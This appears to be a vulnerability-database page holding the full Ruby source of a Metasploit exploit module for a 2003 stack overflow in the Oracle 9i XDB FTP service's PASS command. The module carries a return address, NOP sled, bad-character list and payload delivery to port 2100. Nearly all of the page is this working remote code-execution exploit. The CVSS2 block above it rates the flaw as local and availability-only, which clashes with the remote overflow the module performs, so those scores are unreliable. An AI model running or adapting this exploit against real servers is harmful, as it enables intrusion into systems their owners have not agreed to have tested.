CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
Low
##
# $Id: oracle9i_xdb_ftp_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle 9i XDB FTP PASS Overflow (win32)',
'Description' => %q{
By passing an overly long string to the PASS command, a
stack based buffer overflow occurs. David Litchfield, has
illustrated multiple vulnerabilities in the Oracle 9i XML
Database (XDB), during a seminar on "Variations in exploit
methods between Linux and Windows" presented at the Blackhat
conference.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2003-0727'],
[ 'OSVDB', '2449'],
[ 'BID', '8375'],
[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Targets' =>
[
[
'Oracle 9.2.0.1 Universal',
{
'Platform' => 'win',
'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)
},
],
],
'DisclosureDate' => 'Aug 18 2003',
'DefaultTarget' => 0))
register_options([Opt::RPORT(2100),], self.class)
deregister_options('FTPUSER', 'FTPPASS')
end
def check
connect
disconnect
if (banner =~ /9\.2\.0\.1\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
user = rand_text_alpha_upper(10)
sploit = rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)
sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded
print_status("Trying target #{target.name}...")
send_cmd( ['USER', user], true )
send_cmd( ['PASS', sploit], false )
handler
disconnect
end
end